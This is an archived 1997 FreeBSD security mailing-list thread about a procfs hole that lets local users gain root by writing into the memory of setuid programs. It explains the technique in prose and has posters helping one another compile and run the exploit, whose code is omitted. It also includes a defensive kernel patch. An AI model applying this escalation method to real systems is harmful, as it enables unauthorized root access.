name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sean Kelly Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Sean Kelly n: Kelly;Sean org: CIRA/NOAA adr: NOAA/OAR/ERL/FSL/SDD R/E/FS4;;325 Broadway;Boulder;Colorado;80303;USA email;internet: kelly@fsl.noaa.gov title: Research Coordinator tel;work: 303.497.6247 tel;fax: 303.497.7256 tel;home: Yeah, right. x-mozilla-cpt: ;0 x-mozilla-html: TRUE end: vcard --------------611B28F01854C035F27B564D-- From owner-freebsd-security Sun Aug 10 11:32:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04970 for security-outgoing; Sun, 10 Aug 1997 11:32:30 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA04957 for ; Sun, 10 Aug 1997 11:32:27 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id OAA19104; Sun, 10 Aug 1997 14:32:15 -0400 (EDT) Date: Sun, 10 Aug 1997 14:32:13 -0400 (EDT) From: Brian Mitchell To: "Jonathan A. Zdziarski" cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: > I attempted to run it and got the following trying to run it with 'root' > as the user (even providing the correct password): > > Demonstration of 4.4BSD procfs hole > Brian Mitchell > > after you see "setuid changed", enter the pw for the user > Be warned, searching for the setuid() function takes a long time! > Password:searching - please be patient... > setuid changed (0x8046f64) > > _su: Permission denied. You also using a shell of tcsh or csh. As I noted, you need to change your shell to /bin/sh or something similar (or use the -b argument). Judging by the string, i'm guessing it is tcsh (as csh uses a diff string) From owner-freebsd-security Sun Aug 10 11:36:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05401 for security-outgoing; Sun, 10 Aug 1997 11:36:23 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05396 for ; Sun, 10 Aug 1997 11:36:20 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id OAA19115; Sun, 10 Aug 1997 14:36:13 -0400 (EDT) Date: Sun, 10 Aug 1997 14:36:13 -0400 (EDT) From: Brian Mitchell To: "Jonathan A. Zdziarski" cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: > never mind about my last message - I was finally able to get it to work on > both 2.2.2 and 2.2.1 systems. ack. is the 'su' command the only > pheasable method of manipulating this problem, or do you think it could be > done with other setuid programs? I'm running sudo, and can disable su, > but then again what if sudo can be modified. Don't be silly, any setuid program can be used. If I chose to overwrite printf() with code to setuid and execute a shell, it would prob work with any setuid program. As noted, the easiest way to avoid the problem is just to disable procfs -- nobody really uses it anyways. From owner-freebsd-security Sun Aug 10 11:38:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05602 for security-outgoing; Sun, 10 Aug 1997 11:38:50 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05597 for ; Sun, 10 Aug 1997 11:38:48 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id OAA19130; Sun, 10 Aug 1997 14:38:41 -0400 (EDT) Date: Sun, 10 Aug 1997 14:38:41 -0400 (EDT) From: Brian Mitchell To: "Jonathan A. Zdziarski" cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: This would be a horrible solution. Someone is just going to chose another function to overwrite and do a setuid(0) and execve() of some shell. > Would disabling bash and sh (and any other shells that allowed this) be a > good temporary solution? I've noticed you have to have it set as your > default shell, so removing it from /etc/shells could prevent this. It's > either that or disbale procfs (and I'm still not sure what the effects of > that would be) > > > ------------------------------------------------------------------------- > Jonathan A. Zdziarski NetRail Incorporated > Server Engineering Manager 230 Peachtree St. Suite 500 > jonz@netrail.net Atlanta, GA 30303 > http://www.netrail.net (888) - NETRAIL > ------------------------------------------------------------------------- > > From owner-freebsd-security Sun Aug 10 12:17:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08032 for security-outgoing; Sun, 10 Aug 1997 12:17:26 -0700 (PDT) Received: from xkis.kis.ru (dv@xkis.kis.ru [195.98.32.200]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08023 for ; Sun, 10 Aug 1997 12:17:17 -0700 (PDT) Received: from localhost (dv@localhost) by xkis.kis.ru (8.8.5/8.8.5) with SMTP id XAA01848 for ; Sun, 10 Aug 1997 23:16:57 +0400 (MSD) Date: Sun, 10 Aug 1997 23:16:57 +0400 (MSD) From: Dmitry Valdov To: freebsd-security@freebsd.org Subject: procfs hole (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello! Is There any fixes for it? ---------- Forwarded message ---------- Date: Sun, 10 Aug 1997 05:37:40 -0400 From: Brian Mitchell To: BUGTRAQ@NETSPACE.ORG Subject: procfs hole There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. [exploit skipped] Dmitry. From owner-freebsd-security Sun Aug 10 12:42:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09590 for security-outgoing; Sun, 10 Aug 1997 12:42:28 -0700 (PDT) Received: from krell.webmistress.org (root@krell.webmistress.org [208.138.36.54]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA09585 for ; Sun, 10 Aug 1997 12:42:26 -0700 (PDT) Received: from blabgoo (blabgoo.webmistress.org [208.138.28.18]) by krell.webmistress.org (8.8.5/8.8.5) with SMTP id MAA04488; Sun, 10 Aug 1997 12:50:45 -0700 (PDT) Date: Sun, 10 Aug 1997 12:44:37 -0800 From: Nicole Subject: Re: procfs hole To: Brian Mitchell Cc: freebsd-security@FreeBSD.ORG X-Mailer: Z-Mail Pro 6.1 (Win32 - 021297) Evaluation Copy, NetManage Inc. X-Priority: 3 (Normal) References: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). Hello I have tried to run Brians script to test a few servers, however as I am new to some of this, I'm not sure that i am using it correctly and would appreciate any help. Basicly I have saved the file as a .sh file and am trying to execute it. I am using /bin/sh as my shell. The errors I receive are: u_char: not found 0x8d,: not found 0x9a,: not found ./h.sh: /bin: permission denied ./h.sh: /bin: permission denied u_char: not found ./h.sh: 15: Syntax error: word unexpected (expecting ")") What stupidly obvious thing am I missing... Thanks Nicole nicole@mediacity.com |\ __ /| (`\ http://www.mediacity.com Nicole Harrington | o_o |__ ) ) Phone: 415-237-1464 // \\ Pager: 415-301-2482 Systems Administrator ------------------------(((---(((------------------------------------- * What do you mean Spelling Errors? My Modem is Error Correcting! A cynic is an idealist who's tired. -- Courtesy is owed. Respect is earned. Love is given. -- ----------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 12:44:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09715 for security-outgoing; Sun, 10 Aug 1997 12:44:07 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA09710 for ; Sun, 10 Aug 1997 12:44:02 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA19246; Sun, 10 Aug 1997 15:43:15 -0400 (EDT) Date: Sun, 10 Aug 1997 15:43:14 -0400 (EDT) From: Brian Mitchell To: Dmitry Valdov cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs hole (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Dmitry Valdov wrote: > Hello! > > Is There any fixes for it? i'm testing a patch right now. From owner-freebsd-security Sun Aug 10 13:14:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA11697 for security-outgoing; Sun, 10 Aug 1997 13:14:20 -0700 (PDT) Received: from terror.hungry.com (fn@terror.hungry.com [169.131.1.215]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA11688 for ; Sun, 10 Aug 1997 13:14:16 -0700 (PDT) Received: (from fn@localhost) by terror.hungry.com (8.8.6/8.8.4) id NAA02862; Sun, 10 Aug 1997 13:14:15 -0700 (PDT) To: freebsd-security@freebsd.org Subject: Re: procfs hole References: From: Faried Nawaz Date: 10 Aug 1997 13:14:15 -0700 In-Reply-To: brian@firehouse.net's message of 10 Aug 1997 03:08:30 -0700 Message-ID: Lines: 10 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk brian@firehouse.net (Brian Mitchell) writes: There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). This doesn't work for me (as-is) on 2.2-STABLE. From owner-freebsd-security Sun Aug 10 13:25:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12469 for security-outgoing; Sun, 10 Aug 1997 13:25:35 -0700 (PDT) Received: from terra.stack.nl (terra.stack.nl [131.155.140.128]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12459 for ; Sun, 10 Aug 1997 13:25:31 -0700 (PDT) Received: from xaa.stack.nl (uucp@localhost) by terra.stack.nl (8.8.7) with UUCP id WAA26745; Sun, 10 Aug 1997 22:25:23 +0200 (MET DST) Received: (from freebsd@localhost) by xaa.stack.nl (8.8.7/8.8.2) id WAA01659; Sun, 10 Aug 1997 22:24:59 +0200 (MET DST) Message-ID: <19970810222459.47701@xaa.stack.nl> Date: Sun, 10 Aug 1997 22:24:59 +0200 From: Mark Huizer To: Nicole Cc: Brian Mitchell , freebsd-security@FreeBSD.ORG Subject: Re: procfs hole References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: ; from Nicole on Sun, Aug 10, 1997 at 12:44:37PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ./h.sh: /bin: permission denied > ./h.sh: /bin: permission denied > u_char: not found > ./h.sh: 15: Syntax error: word unexpected (expecting ")") > > What stupidly obvious thing am I missing... > Basically that it's not a shell script but c-code, so you gotta compile it first and run the resulting executable. save it as someting (bla.c), then type 'make bla' in that dir and run it with ./bla USERNAME Mark From owner-freebsd-security Sun Aug 10 13:27:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12608 for security-outgoing; Sun, 10 Aug 1997 13:27:37 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12601 for ; Sun, 10 Aug 1997 13:27:34 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id QAA04274; Sun, 10 Aug 1997 16:26:49 GMT Date: Sun, 10 Aug 1997 16:26:49 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Nicole cc: Brian Mitchell , freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You need to store the program in a .c file, then type 'cc -ofilename filename.c' and compile it ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- On Sun, 10 Aug 1997, Nicole wrote: : :> There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, :> I have not tested 3.x but I believe it to be vulnerable as well) along :> with OpenBSD (not tested by me, but by someone else -- believe it was :> 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd :> does). : : :Hello : I have tried to run Brians script to test a few servers, however as I am new to some of this, I'm not sure that i am using it :correctly and would appreciate any help. : : Basicly I have saved the file as a .sh file and am trying to execute it. I am using /bin/sh as my shell. : The errors I receive are: : :u_char: not found :0x8d,: not found :0x9a,: not found :./h.sh: /bin: permission denied :./h.sh: /bin: permission denied :u_char: not found :./h.sh: 15: Syntax error: word unexpected (expecting ")") : : : What stupidly obvious thing am I missing... : : : Thanks : : : Nicole : : : : :nicole@mediacity.com |\ __ /| (`\ http://www.mediacity.com :Nicole Harrington | o_o |__ ) ) Phone: 415-237-1464 : // \\ Pager: 415-301-2482 : Systems Administrator :------------------------(((---(((------------------------------------- :* What do you mean Spelling Errors? My Modem is Error Correcting! : :A cynic is an idealist who's tired. -- :Courtesy is owed. Respect is earned. Love is given. -- :----------------------------------------------------------------------- : From owner-freebsd-security Sun Aug 10 13:44:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA13584 for security-outgoing; Sun, 10 Aug 1997 13:44:39 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA13579 for ; Sun, 10 Aug 1997 13:44:36 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id QAA05995; Sun, 10 Aug 1997 16:43:57 GMT Date: Sun, 10 Aug 1997 16:43:57 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm curious. With this bug in the proc filesystem, is it possible that there is a similar problem with "memory permissions" - I'm not very experienced with how memory works in FreeBSD, however I've wondered if it's possible for the memory to be modified as well in instances like this. ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 13:56:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA14101 for security-outgoing; Sun, 10 Aug 1997 13:56:39 -0700 (PDT) Received: from apocalypse.saturn.net (user9907@apocalypse.saturn.net [208.192.215.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA14096 for ; Sun, 10 Aug 1997 13:56:34 -0700 (PDT) Received: from localhost (brian@localhost) by apocalypse.saturn.net (8.8.5/8.8.5) with SMTP id QAA00210 for ; Sun, 10 Aug 1997 16:55:03 -0400 (EDT) Date: Sun, 10 Aug 1997 16:55:01 -0400 (EDT) From: Brian Mitchell To: freebsd-security@freebsd.org Subject: procfs patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Enclosed is a patch that seems to work ok on my system. Extensive testing has not been done. There's probably a much better way to do this. diff -c procfs_old/procfs_ctl.c procfs/procfs_ctl.c *** procfs_old/procfs_ctl.c Sun Aug 10 15:05:48 1997 --- procfs/procfs_ctl.c Sun Aug 10 16:37:59 1997 *************** *** 121,126 **** --- 121,129 ---- { int error; + /* if we have trace flag set, fail */ + if(p->p_flag & P_SUGID) + return (EPERM); /* * Attach - attaches the target process for debugging * by the calling process. diff -c procfs_old/procfs_fpregs.c procfs/procfs_fpregs.c *** procfs_old/procfs_fpregs.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_fpregs.c Sun Aug 10 16:38:14 1997 *************** *** 62,67 **** --- 62,69 ---- char *kv; int kl; + if(p->p_flag & P_SUGID) + return (EPERM); kl = sizeof(r); kv = (char *) &r; diff -c procfs_old/procfs_map.c procfs/procfs_map.c *** procfs_old/procfs_map.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_map.c Sun Aug 10 16:35:41 1997 *************** *** 96,101 **** --- 96,103 ---- vm_map_entry_t entry; char mebuffer[MEBUFFERSIZE]; + if(p->p_flag & P_SUGID) + return (EPERM); if (uio->uio_rw != UIO_READ) return (EOPNOTSUPP); diff -c procfs_old/procfs_mem.c procfs/procfs_mem.c *** procfs_old/procfs_mem.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_mem.c Sun Aug 10 16:39:01 1997 *************** *** 297,302 **** --- 297,304 ---- { int error; + if(p->p_flag & P_SUGID) + return (EPERM); if (uio->uio_resid == 0) return (0); diff -c procfs_old/procfs_note.c procfs/procfs_note.c *** procfs_old/procfs_note.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_note.c Sun Aug 10 16:36:19 1997 *************** *** 59,64 **** --- 59,66 ---- int error; char note[PROCFS_NOTELEN+1]; + if(p->p_flag & P_SUGID) + return (EPERM); if (uio->uio_rw != UIO_WRITE) return (EINVAL); diff -c procfs_old/procfs_regs.c procfs/procfs_regs.c *** procfs_old/procfs_regs.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_regs.c Sun Aug 10 16:36:39 1997 *************** *** 62,67 **** --- 62,69 ---- char *kv; int kl; + if(p->p_flag & P_SUGID) + return (EPERM); kl = sizeof(r); kv = (char *) &r; diff -c procfs_old/procfs_status.c procfs/procfs_status.c *** procfs_old/procfs_status.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_status.c Sun Aug 10 16:36:55 1997 *************** *** 69,74 **** --- 69,76 ---- int error; char psbuf[256]; /* XXX - conservative */ + if(p->p_flag & P_SUGID) + return (EPERM); if (uio->uio_rw != UIO_READ) return (EOPNOTSUPP); diff -c procfs_old/procfs_type.c procfs/procfs_type.c *** procfs_old/procfs_type.c Sun Aug 10 15:05:47 1997 --- procfs/procfs_type.c Sun Aug 10 16:37:15 1997 *************** *** 65,70 **** --- 65,72 ---- char mebuffer[256]; char *none = "Not Available"; + if(p->p_flag & P_SUGID) + return (EPERM); if (uio->uio_rw != UIO_READ) return (EOPNOTSUPP); Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) From owner-freebsd-security Sun Aug 10 14:03:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14646 for security-outgoing; Sun, 10 Aug 1997 14:03:29 -0700 (PDT) Received: from neutron.neutron.org (neutron.neutron.org [207.167.87.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA14634 for ; Sun, 10 Aug 1997 14:03:23 -0700 (PDT) Received: (from security@localhost) by neutron.neutron.org (8.8.5/8.8.5) id OAA01068 for freebsd-security@freebsd.org; Sun, 10 Aug 1997 14:02:42 -0700 (PDT) Date: Sun, 10 Aug 1997 14:02:42 -0700 (PDT) From: freebsd-security Message-Id: <199708102102.OAA01068@neutron.neutron.org> To: freebsd-security@freebsd.org Subject: SKIP on 2.2.1 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk dear security i have already submitted this to hackers with no response; what are the rules on cross-posting? (sorry-in-adv. if i hv. transgressed): dear hackers i am a new subscriber to this mailing list; hope this post is appropriate. i have installed the SUN SKIP IP encryption binaries on two 2.1.7 boxes. it works fine, tcpdump -v shows protocol 57 packets in transit. i also have tried with 2.2.1, in that case the SKIP drivers won't even load. i did read a (cryptic) comment from SUN concerning 2.2.1 vs. 2.1.7. something about lkm modules being handled differently. anyone know why SKIP 1.0 won't work on 2.1.1? thanks bill clarke From owner-freebsd-security Sun Aug 10 15:27:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA19804 for security-outgoing; Sun, 10 Aug 1997 15:27:25 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA19798 for ; Sun, 10 Aug 1997 15:27:21 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id SAA05719; Sun, 10 Aug 1997 18:26:15 GMT Date: Sun, 10 Aug 1997 18:26:15 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Uh..how does one apply this patch. It asks 'which file to patch' etc... I'm just typing 'patch < filename' ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- On Sun, 10 Aug 1997, Brian Mitchell wrote: :Enclosed is a patch that seems to work ok on my system. Extensive testing :has not been done. There's probably a much better way to do this. : :diff -c procfs_old/procfs_ctl.c procfs/procfs_ctl.c :*** procfs_old/procfs_ctl.c Sun Aug 10 15:05:48 1997 :--- procfs/procfs_ctl.c Sun Aug 10 16:37:59 1997 :*************** :*** 121,126 **** :--- 121,129 ---- : { : int error; : :+ /* if we have trace flag set, fail */ :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : /* : * Attach - attaches the target process for debugging : * by the calling process. :diff -c procfs_old/procfs_fpregs.c procfs/procfs_fpregs.c :*** procfs_old/procfs_fpregs.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_fpregs.c Sun Aug 10 16:38:14 1997 :*************** :*** 62,67 **** :--- 62,69 ---- : char *kv; : int kl; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : kl = sizeof(r); : kv = (char *) &r; : :diff -c procfs_old/procfs_map.c procfs/procfs_map.c :*** procfs_old/procfs_map.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_map.c Sun Aug 10 16:35:41 1997 :*************** :*** 96,101 **** :--- 96,103 ---- : vm_map_entry_t entry; : char mebuffer[MEBUFFERSIZE]; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : if (uio->uio_rw != UIO_READ) : return (EOPNOTSUPP); : :diff -c procfs_old/procfs_mem.c procfs/procfs_mem.c :*** procfs_old/procfs_mem.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_mem.c Sun Aug 10 16:39:01 1997 :*************** :*** 297,302 **** :--- 297,304 ---- : { : int error; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : if (uio->uio_resid == 0) : return (0); : :diff -c procfs_old/procfs_note.c procfs/procfs_note.c :*** procfs_old/procfs_note.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_note.c Sun Aug 10 16:36:19 1997 :*************** :*** 59,64 **** :--- 59,66 ---- : int error; : char note[PROCFS_NOTELEN+1]; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : if (uio->uio_rw != UIO_WRITE) : return (EINVAL); : :diff -c procfs_old/procfs_regs.c procfs/procfs_regs.c :*** procfs_old/procfs_regs.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_regs.c Sun Aug 10 16:36:39 1997 :*************** :*** 62,67 **** :--- 62,69 ---- : char *kv; : int kl; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : kl = sizeof(r); : kv = (char *) &r; : :diff -c procfs_old/procfs_status.c procfs/procfs_status.c :*** procfs_old/procfs_status.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_status.c Sun Aug 10 16:36:55 1997 :*************** :*** 69,74 **** :--- 69,76 ---- : int error; : char psbuf[256]; /* XXX - conservative */ : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : if (uio->uio_rw != UIO_READ) : return (EOPNOTSUPP); : :diff -c procfs_old/procfs_type.c procfs/procfs_type.c :*** procfs_old/procfs_type.c Sun Aug 10 15:05:47 1997 :--- procfs/procfs_type.c Sun Aug 10 16:37:15 1997 :*************** :*** 65,70 **** :--- 65,72 ---- : char mebuffer[256]; : char *none = "Not Available"; : :+ if(p->p_flag & P_SUGID) :+ return (EPERM); : if (uio->uio_rw != UIO_READ) : return (EOPNOTSUPP); : : : : : :Brian Mitchell brian@firehouse.net :"BSD code sucks. Of course, everything else sucks far more." :- Theo de Raadt (OpenBSD President) : : From owner-freebsd-security Sun Aug 10 15:34:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA20348 for security-outgoing; Sun, 10 Aug 1997 15:34:59 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA20338 for ; Sun, 10 Aug 1997 15:34:54 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id SAA19626; Sun, 10 Aug 1997 18:34:49 -0400 (EDT) Date: Sun, 10 Aug 1997 18:34:48 -0400 (EDT) From: Brian Mitchell To: "Jonathan A. Zdziarski" cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: > Uh..how does one apply this patch. It asks 'which file to patch' etc... > I'm just typing 'patch < filename' cd /usr/src/sys/miscfs patch < /tmp/procfs.patch From owner-freebsd-security Sun Aug 10 16:02:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA21712 for security-outgoing; Sun, 10 Aug 1997 16:02:16 -0700 (PDT) Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA21704 for ; Sun, 10 Aug 1997 16:02:12 -0700 (PDT) Received: from gravel.sentex.ca (gravel.sentex.ca [205.211.165.210]) by granite.sentex.net (8.8.6/8.6.9) with SMTP id TAA22469 for ; Sun, 10 Aug 1997 19:12:18 -0400 (EDT) From: mike@sentex.net (Mike Tancsa) To: freebsd-security@freebsd.org Subject: Re: procfs hole works on 2.2-STABLE as well Date: Sun, 10 Aug 1997 23:00:11 GMT Message-ID: <33ee47ab.110919363@mail.sentex.net> References: <19970810123747.52460@deepo.prosa.dk> In-Reply-To: <19970810123747.52460@deepo.prosa.dk> X-Mailer: Forte Agent .99e/32.227 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997 12:37:47 +0200, in sentex.lists.freebsd.misc you wrote: >Philippe Regnauld writes: > >> Has anyone tried with 2.2.2 ? > > Finally got hold of a 2.2.2 box: it works too :-( It works on 2.2-STABLE as well. ---Mike From owner-freebsd-security Sun Aug 10 17:39:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA27040 for security-outgoing; Sun, 10 Aug 1997 17:39:29 -0700 (PDT) Received: from krell.webmistress.org (root@krell.webmistress.org [208.138.36.54]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA27033 for ; Sun, 10 Aug 1997 17:39:27 -0700 (PDT) Received: from blabgoo (blabgoo.webmistress.org [208.138.28.18]) by krell.webmistress.org (8.8.5/8.8.5) with SMTP id RAA14195; Sun, 10 Aug 1997 17:45:32 